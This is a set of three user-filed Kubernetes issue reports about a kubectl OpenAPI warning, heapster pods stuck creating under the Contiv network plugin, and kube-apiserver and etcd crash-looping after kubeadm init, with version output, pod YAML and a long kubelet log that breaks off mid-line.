 /area cli\r \r   what happened  : i get a warning about openapi / swagger every time i run  kubectl apply \r    \r $ kubectl apply cloudsql_deployment.yaml\r w1010 15:13:19.027707    6796 factory_object_mapping.go:423  failed to download openapi  the server could not find the requested resource , falling back to swagger\r deployment \ wordpress\  configured\r    \r \r   what you expected to happen  : no warnings.\r \r   how to reproduce it  as minimally and precisely as possible   : have kubectl 1.8.0 installed, have a v1.6.10-gke.1 cluster on gke. apply a deployment spec using  kubectl apply -f .\r \r   anything else we need to know?  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-10-05t00:40:04z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.10-gke.1\ , gitcommit:\ 5399ab6217c2f2f4bb4de52a2a23ccc4cd034df2\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t18:06:48z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.0\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : gke cos\r - install tools:  kubernetes-cli 1.8.0 using homebrew\r - others:\r

kube version: 18.2\r docker version: 17.06.2-ce\r os version: debian stretch\r \r i scale the replicas of heapster from 1 to 3, coz there is only one node's metrics can be displayed on the dashboard, and the other two pods pending:\r \r    \r   kubectl get pod --all-namespaces\r namespace     name                                    ready     status              restarts   age\r kube-system   contiv-api-proxy-d29m7                  1/1       running             1          1h\r kube-system   contiv-etcd-5rwb6                       1/1       running             0          1h\r kube-system   contiv-etcd-q549f                       1/1       running             0          1h\r kube-system   contiv-netmaster-xj65z                  1/1       running             0          1h\r kube-system   contiv-netplugin-4wjfh                  1/1       running             0          1h\r kube-system   contiv-netplugin-bc75r                  1/1       running             0          1h\r kube-system   contiv-netplugin-r4cpz                  1/1       running             0          1h\r kube-system   heapster-59ff54b574-7q8pn               0/1       containercreating   0          29m\r kube-system   heapster-59ff54b574-jd4x8               1/1       running             0          1d\r kube-system   heapster-59ff54b574-sh9zr               0/1       containercreating   0          29m\r kube-system   kube-apiserver-uy05-13                  1/1       running             0          1d\r kube-system   kube-apiserver-uy08-07                  1/1       running             0          1d\r kube-system   kube-controller-manager-uy05-13         1/1       running             0          1d\r kube-system   kube-controller-manager-uy08-07         1/1       running             0          1d\r kube-system   kube-dns-545bc4bfd4-b9njt               3/3       running             0          1d\r kube-system   kube-proxy-bbssx                        1/1       running             0          1d\r kube-system   kube-proxy-xl5m6                        1/1       running             0          1d\r kube-system   kube-proxy-zzkvq                        1/1       running             0          1d\r kube-system   kube-scheduler-uy05-13                  1/1       running             0          1d\r kube-system   kube-scheduler-uy08-07                  1/1       running             0          1d\r kube-system   kubernetes-dashboard-57f7b78668-jcsq5   1/1       running             0          23h\r    \r    \r events:\r   type     reason                  age                  from               message\r   ----     ------                  ----                 ----               -------\r   normal   scheduled               28m                  default-scheduler  successfully assigned heapster-59ff54b574-sh9zr to uy08-07\r   normal   successfulmountvolume   28m                  kubelet, uy08-07   mountvolume.setup succeeded for volume \ heapster-token-pwx75\ \r   warning  failedsync              28m  x8 over 28m     kubelet, uy08-07   error syncing pod\r   normal   sandboxchanged          18m  x354 over 28m   kubelet, uy08-07   pod sandbox changed, it will be killed and re-created.\r   warning  failedcreatepodsandbox  3m  x874 over 28m    kubelet, uy08-07   failed create pod sandbox.\r    \r    \r   kubectl get po heapster-59ff54b574-7q8pn -n kube-system -o yaml\r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     kubernetes.io/created-by: |\r       {\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ heapster-59ff54b574\ ,\ uid\ :\ 46cb0998-c828-11e7-9459-34e6d7899e5d\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 187948\ }}\r   creationtimestamp: 2017-11-14t07:14:52z\r   generatename: heapster-59ff54b574-\r   labels:\r     k8s-app: heapster\r     pod-template-hash: \ 1599106130\ \r     task: monitoring\r   name: heapster-59ff54b574-7q8pn\r   namespace: kube-system\r   ownerreferences:\r   - apiversion: extensions/v1beta1\r     blockownerdeletion: true\r     controller: true\r     kind: replicaset\r     name: heapster-59ff54b574\r     uid: 46cb0998-c828-11e7-9459-34e6d7899e5d\r   resourceversion: \ 187960\ \r   selflink: /api/v1/namespaces/kube-system/pods/heapster-59ff54b574-7q8pn\r   uid: 822621d9-c90b-11e7-9459-34e6d7899e5d\r spec:\r   containers:\r   - command:\r     - /heapster\r     - --source=kubernetes:https://kubernetes.default\r     - --sink=influxdb:http://monitoring-influxdb.kube-system.svc:8086\r     image: harbor.oupeng.com/heapster/heapster-amd64:v1.4.3\r     imagepullpolicy: ifnotpresent\r     name: heapster\r     resources: {}\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: heapster-token-pwx75\r       readonly: true\r   dnspolicy: clusterfirst\r   nodename: uy08-08\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: heapster\r   serviceaccountname: heapster\r   terminationgraceperiodseconds: 30\r   tolerations:\r   - effect: noexecute\r     key: node.alpha.kubernetes.io/notready\r     operator: exists\r     tolerationseconds: 300\r   - effect: noexecute\r     key: node.alpha.kubernetes.io/unreachable\r     operator: exists\r     tolerationseconds: 300\r   volumes:\r   - name: heapster-token-pwx75\r     secret:\r       defaultmode: 420\r       secretname: heapster-token-pwx75\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2017-11-14t07:14:52z\r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r     lasttransitiontime: 2017-11-14t07:14:52z\r     message: 'containers with unready status:  heapster '\r     reason: containersnotready\r     status: \ false\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: 2017-11-14t07:14:52z\r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - image: harbor.oupeng.com/heapster/heapster-amd64:v1.4.3\r     imageid: \ \ \r     laststate: {}\r     name: heapster\r     ready: false\r     restartcount: 0\r     state:\r       waiting:\r         reason: containercreating\r   hostip: 192.168.5.105\r   phase: pending\r   qosclass: besteffort\r   starttime: 2017-11-14t07:14:52z\r    \r \r one more thing, i change the network plugin from calico to contiv, does it have anthing to do with the problem?

is this a bug report or feature request?  :\r   \r   what happened  :\r try to init a k8s cluster after reset and cleanup.\r i've seen more and more issues on this, but none of the solutions applies here. \r machine is ubuntu 16.04.\r \r i've tried all the regular stuff other issues were suggesting :\r 1. swap is off\r 2. cgroupfs is in the env\r 3. firewalld disabled\r \r basically, the kube-api server pod keeps restarting with the etcd pod  watch docker ps , no idea why.\r   what you expected to happen  :\r init to finish and cluster to go up\r   how to reproduce it  as minimally and precisely as possible   :\r ubuntu 16.04\r kubeadm init  --pod-network-cidr=10.244.0.0/16\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version 1.7.5\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  : 4.4.0-101-generic\r - install tools: kubeadm\r \r \r   journalctl logs:  \r \r \r nov 23 17:59:17 tzur-k8s-master kubelet 8266 : i1123 17:59:17.266052    8266 kuberuntime_manager.go:457  container {name:kube-apiserver image:gcr.io/google_containers/kube-apiserver-amd64:v1.8.3 command: kube-apiserver --requestheader-allowed-names=front-proxy-client --tls-cert-file=/etc/kubernetes/pki/apiserver.crt --tls-private-key-file=/etc/kubernetes/pki/apiserver.key --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key --requestheader-username-headers=x-remote-user --insecure-port=0 --requestheader-group-headers=x-remote-group --service-cluster-ip-range=10.96.0.0/12 --service-account-key-file=/etc/kubernetes/pki/sa.pub --client-ca-file=/etc/kubernetes/pki/ca.crt --secure-port=6443 --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt --allow-privileged=true --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key --experimental-bootstrap-token-auth=true --kubelet-preferred-address-types=internalip,externalip,hostname --requestheader-extra-headers-prefix=x-remote-extra- --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt --admission-control=initializers,namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,defaulttolerationseconds,noderestriction,resourcequota --authorization-mode=node,rbac --advertise-address=9.151.163.60 --etcd-servers=http://127.0.0.1:2379  args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map cpu:{i:{value:250 scale:-3} d:{dec:<nil>} s:250m format:decimalsi} } volumemounts: {name:k8s readonly:true mountpath:/etc/kubernetes subpath:} {name:certs readonly:false mountpath:/etc/ssl/certs subpath:}  livenessprobe:&probe{handler:handler{exec:nil,httpget:&httpgetaction{path:/healthz,port:6443,host:127.0.0.1,scheme:https,httpheaders:  ,},tcpsocket:nil,},initialdelayseconds:15,timeoutseconds:15,periodseconds:10,successthreshold:1,failurethreshold:8,} readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepo\r nov 23 17:59:17 tzur-k8s-master kubelet 8266 : licy:file imagepullpolicy:ifnotpresent securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r nov 23 17:59:17 tzur-k8s-master kubelet 8266 : i1123 17:59:17.267843    8266 kuberuntime_manager.go:741  checking backoff for container \ kube-apiserver\  in pod \ kube-apiserver-tzur-k8s-master_kube-system 757e5c05c19263e8368481d88de4ab2f \ \r nov 23 17:59:17 tzur-k8s-master kubelet 8266 : i1123 17:59:17.268220    8266 kuberuntime_manager.go:751  back-off 5m0s restarting failed container=kube-apiserver pod=kube-apiserver-tzur-k8s-master_kube-system 757e5c05c19263e8368481d88de4ab2f \r nov 23 17:59:17 tzur-k8s-master kubelet 8266 : e1123 17:59:17.268484    8266 pod_workers.go:182  error syncing pod 757e5c05c19263e8368481d88de4ab2f  \ kube-apiserver-tzur-k8s-master_kube-system 757e5c05c19263e8368481d88de4ab2f \  , skipping: failed to \ startcontainer\  for \ kube-apiserver\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kube-apiserver pod=kube-apiserver-tzur-k8s-master_kube-system 757e5c05c19263e8368481d88de4ab2f \ \r nov 23 17:59:17 tzur-k8s-master kubelet 8266 : e1123 17:59:17.692720    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://9.151.163.60:6443/api/v1/pods?fieldselector=spec.nodename%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:17 tzur-k8s-master kubelet 8266 : e1123 17:59:17.830607    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: get https://9.151.163.60:6443/api/v1/services?resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:17 tzur-k8s-master kubelet 8266 : e1123 17:59:17.831832    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: get https://9.151.163.60:6443/api/v1/nodes?fieldselector=metadata.name%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:18 tzur-k8s-master kubelet 8266 : i1123 17:59:18.243584    8266 kubelet_node_status.go:247  setting node annotation to enable volume controller attach/detach\r nov 23 17:59:18 tzur-k8s-master kubelet 8266 : i1123 17:59:18.246540    8266 kubelet_node_status.go:82  attempting to register node tzur-k8s-master\r nov 23 17:59:18 tzur-k8s-master kubelet 8266 : e1123 17:59:18.247338    8266 kubelet_node_status.go:106  unable to register node \ tzur-k8s-master\  with api server: post https://9.151.163.60:6443/api/v1/nodes: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:18 tzur-k8s-master kubelet 8266 : e1123 17:59:18.694888    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://9.151.163.60:6443/api/v1/pods?fieldselector=spec.nodename%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:18 tzur-k8s-master kubelet 8266 : e1123 17:59:18.832019    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: get https://9.151.163.60:6443/api/v1/services?resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:18 tzur-k8s-master kubelet 8266 : e1123 17:59:18.833057    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: get https://9.151.163.60:6443/api/v1/nodes?fieldselector=metadata.name%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:19 tzur-k8s-master kubelet 8266 : e1123 17:59:19.696824    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://9.151.163.60:6443/api/v1/pods?fieldselector=spec.nodename%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:19 tzur-k8s-master kubelet 8266 : e1123 17:59:19.924547    8266 eviction_manager.go:238  eviction manager: unexpected err: failed getnode: node 'tzur-k8s-master' not found\r nov 23 17:59:19 tzur-k8s-master kubelet 8266 : w1123 17:59:19.928206    8266 cni.go:189  unable to update cni config: no networks found in /etc/cni/net.d\r nov 23 17:59:19 tzur-k8s-master kubelet 8266 : e1123 17:59:19.928778    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: get https://9.151.163.60:6443/api/v1/nodes?fieldselector=metadata.name%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:19 tzur-k8s-master kubelet 8266 : e1123 17:59:19.929065    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: get https://9.151.163.60:6443/api/v1/services?resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:19 tzur-k8s-master kubelet 8266 : e1123 17:59:19.929384    8266 kubelet.go:2136  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r nov 23 17:59:20 tzur-k8s-master kubelet 8266 : e1123 17:59:20.697992    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://9.151.163.60:6443/api/v1/pods?fieldselector=spec.nodename%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:20 tzur-k8s-master kubelet 8266 : e1123 17:59:20.930167    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: get https://9.151.163.60:6443/api/v1/nodes?fieldselector=metadata.name%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:20 tzur-k8s-master kubelet 8266 : e1123 17:59:20.931580    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: get https://9.151.163.60:6443/api/v1/services?resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:21 tzur-k8s-master kubelet 8266 : e1123 17:59:21.699121    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://9.151.163.60:6443/api/v1/pods?fieldselector=spec.nodename%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:21 tzur-k8s-master kubelet 8266 : e1123 17:59:21.931436    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: get https://9.151.163.60:6443/api/v1/nodes?fieldselector=metadata.name%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:21 tzur-k8s-master kubelet 8266 : e1123 17:59:21.932624    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: get https://9.151.163.60:6443/api/v1/services?resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:22 tzur-k8s-master kubelet 8266 : e1123 17:59:22.447160    8266 event.go:209  unable to write event: 'patch https://9.151.163.60:6443/api/v1/namespaces/default/events/tzur-k8s-master.14f9c117933836b8: dial tcp 9.151.163.60:6443: getsockopt: connection refused'  may retry after sleeping \r nov 23 17:59:22 tzur-k8s-master kubelet 8266 : e1123 17:59:22.700712    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://9.151.163.60:6443/api/v1/pods?fieldselector=spec.nodename%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:22 tzur-k8s-master kubelet 8266 : e1123 17:59:22.932683    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: get https://9.151.163.60:6443/api/v1/nodes?fieldselector=metadata.name%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:22 tzur-k8s-master kubelet 8266 : e1123 17:59:22.933822    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: get https://9.151.163.60:6443/api/v1/services?resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:23 tzur-k8s-master kubelet 8266 : e1123 17:59:23.702489    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://9.151.163.60:6443/api/v1/pods?fieldselector=spec.nodename%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:23 tzur-k8s-master kubelet 8266 : e1123 17:59:23.934114    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: get https://9.151.163.60:6443/api/v1/nodes?fieldselector=metadata.name%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:23 tzur-k8s-master kubelet 8266 : e1123 17:59:23.934838    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: get https://9.151.163.60:6443/api/v1/services?resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:24 tzur-k8s-master kubelet 8266 : e1123 17:59:24.704114    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://9.151.163.60:6443/api/v1/pods?fieldselector=spec.nodename%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:24 tzur-k8s-master kubelet 8266 : w1123 17:59:24.931117    8266 cni.go:189  unable to update cni config: no networks found in /etc/cni/net.d\r nov 23 17:59:24 tzur-k8s-master kubelet 8266 : e1123 17:59:24.931683    8266 kubelet.go:2136  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r nov 23 17:59:24 tzur-k8s-master kubelet 8266 : e1123 17:59:24.935126    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: get https://9.151.163.60:6443/api/v1/nodes?fieldselector=metadata.name%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:24 tzur-k8s-master kubelet 8266 : e1123 17:59:24.936202    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: get https://9.151.163.60:6443/api/v1/services?resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:25 tzur-k8s-master kubelet 8266 : i1123 17:59:25.247777    8266 kubelet_node_status.go:247  setting node annotation to enable volume controller attach/detach\r nov 23 17:59:25 tzur-k8s-master kubelet 8266 : i1123 17:59:25.251763    8266 kubelet_node_status.go:82  attempting to register node tzur-k8s-master\r nov 23 17:59:25 tzur-k8s-master kubelet 8266 : e1123 17:59:25.252719    8266 kubelet_node_status.go:106  unable to register node \ tzur-k8s-master\  with api server: post https://9.151.163.60:6443/api/v1/nodes: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:25 tzur-k8s-master kubelet 8266 : e1123 17:59:25.705344    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://9.151.163.60:6443/api/v1/pods?fieldselector=spec.nodename%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:25 tzur-k8s-master kubelet 8266 : e1123 17:59:25.936171    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: get https://9.151.163.60:6443/api/v1/nodes?fieldselector=metadata.name%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:25 tzur-k8s-master kubelet 8266 : e1123 17:59:25.936878    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: get https://9.151.163.60:6443/api/v1/services?resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:25 tzur-k8s-master kubelet 8266 : i1123 17:59:25.961066    8266 kubelet_node_status.go:247  setting node annotation to enable volume controller attach/detach\r nov 23 17:59:25 tzur-k8s-master kubelet 8266 : e1123 17:59:25.967240    8266 kubelet.go:1607  failed creating a mirror pod for \ etcd-tzur-k8s-master_kube-system 9ef6d25e21bb4befeabe4d0e4f72d1ca \ : post https://9.151.163.60:6443/api/v1/namespaces/kube-system/pods: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:26 tzur-k8s-master kubelet 8266 : i1123 17:59:26.268410    8266 kuberuntime_manager.go:457  container {name:etcd image:gcr.io/google_containers/etcd-amd64:3.0.17 command: etcd --listen-client-urls=http://127.0.0.1:2379 --advertise-client-urls=http://127.0.0.1:2379 --data-dir=/var/lib/etcd  args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts: {name:certs readonly:false mountpath:/etc/ssl/certs subpath:} {name:etcd readonly:false mountpath:/var/lib/etcd subpath:} {name:k8s readonly:true mountpath:/etc/kubernetes subpath:}  livenessprobe:&probe{handler:handler{exec:nil,httpget:&httpgetaction{path:/health,port:2379,host:127.0.0.1,scheme:http,httpheaders:  ,},tcpsocket:nil,},initialdelayseconds:15,timeoutseconds:15,periodseconds:10,successthreshold:1,failurethreshold:8,} readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:ifnotpresent securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r nov 23 17:59:26 tzur-k8s-master kubelet 8266 : i1123 17:59:26.270494    8266 kuberuntime_manager.go:741  checking backoff for container \ etcd\  in pod \ etcd-tzur-k8s-master_kube-system 9ef6d25e21bb4befeabe4d0e4f72d1ca \ \r nov 23 17:59:26 tzur-k8s-master kubelet 8266 : i1123 17:59:26.270985    8266 kuberuntime_manager.go:751  back-off 5m0s restarting failed container=etcd pod=etcd-tzur-k8s-master_kube-system 9ef6d25e21bb4befeabe4d0e4f72d1ca \r nov 23 17:59:26 tzur-k8s-master kubelet 8266 : e1123 17:59:26.271251    8266 pod_workers.go:182  error syncing pod 9ef6d25e21bb4befeabe4d0e4f72d1ca  \ etcd-tzur-k8s-master_kube-system 9ef6d25e21bb4befeabe4d0e4f72d1ca \  , skipping: failed to \ startcontainer\  for \ etcd\  with crashloopbackoff: \ back-off 5m0s restarting failed container=etcd pod=etcd-tzur-k8s-master_kube-system 9ef6d25e21bb4befeabe4d0e4f72d1ca \ \r nov 23 17:59:26 tzur-k8s-master kubelet 8266 : e1123 17:59:26.706909    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://9.151.163.60:6443/api/v1/pods?fieldselector=spec.nodename%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:26 tzur-k8s-master kubelet 8266 : e1123 17:59:26.937280    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: get https://9.151.163.60:6443/api/v1/nodes?fieldselector=metadata.name%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:26 tzur-k8s-master kubelet 8266 : e1123 17:59:26.938196    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: get https://9.151.163.60:6443/api/v1/services?resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:27 tzur-k8s-master kubelet 8266 : e1123 17:59:27.708754    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://9.151.163.60:6443/api/v1/pods?fieldselector=spec.nodename%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:27 tzur-k8s-master kubelet 8266 : e1123 17:59:27.938486    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: get https://9.151.163.60:6443/api/v1/nodes?fieldselector=metadata.name%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:27 tzur-k8s-master kubelet 8266 : e1123 17:59:27.939225    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: get https://9.151.163.60:6443/api/v1/services?resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:28 tzur-k8s-master kubelet 8266 : e1123 17:59:28.709930    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://9.151.163.60:6443/api/v1/pods?fieldselector=spec.nodename%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:28 tzur-k8s-master kubelet 8266 : e1123 17:59:28.939947    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: get https://9.151.163.60:6443/api/v1/nodes?fieldselector=metadata.name%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:28 tzur-k8s-master kubelet 8266 : e1123 17:59:28.940702    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: get https://9.151.163.60:6443/api/v1/services?resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:28 tzur-k8s-master kubelet 8266 : i1123 17:59:28.960813    8266 kubelet_node_status.go:247  setting node annotation to enable volume controller attach/detach\r nov 23 17:59:28 tzur-k8s-master kubelet 8266 : e1123 17:59:28.965030    8266 kubelet.go:1607  failed creating a mirror pod for \ kube-apiserver-tzur-k8s-master_kube-system 757e5c05c19263e8368481d88de4ab2f \ : post https://9.151.163.60:6443/api/v1/namespaces/kube-system/pods: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:29 tzur-k8s-master kubelet 8266 : i1123 17:59:29.266342    8266 kuberuntime_manager.go:457  container {name:kube-apiserver image:gcr.io/google_containers/kube-apiserver-amd64:v1.8.3 command: kube-apiserver --requestheader-allowed-names=front-proxy-client --tls-cert-file=/etc/kubernetes/pki/apiserver.crt --tls-private-key-file=/etc/kubernetes/pki/apiserver.key --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key --requestheader-username-headers=x-remote-user --insecure-port=0 --requestheader-group-headers=x-remote-group --service-cluster-ip-range=10.96.0.0/12 --service-account-key-file=/etc/kubernetes/pki/sa.pub --client-ca-file=/etc/kubernetes/pki/ca.crt --secure-port=6443 --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt --allow-privileged=true --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key --experimental-bootstrap-token-auth=true --kubelet-preferred-address-types=internalip,externalip,hostname --requestheader-extra-headers-prefix=x-remote-extra- --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt --admission-control=initializers,namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,defaulttolerationseconds,noderestriction,resourcequota --authorization-mode=node,rbac --advertise-address=9.151.163.60 --etcd-servers=http://127.0.0.1:2379  args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map cpu:{i:{value:250 scale:-3} d:{dec:<nil>} s:250m format:decimalsi} } volumemounts: {name:k8s readonly:true mountpath:/etc/kubernetes subpath:} {name:certs readonly:false mountpath:/etc/ssl/certs 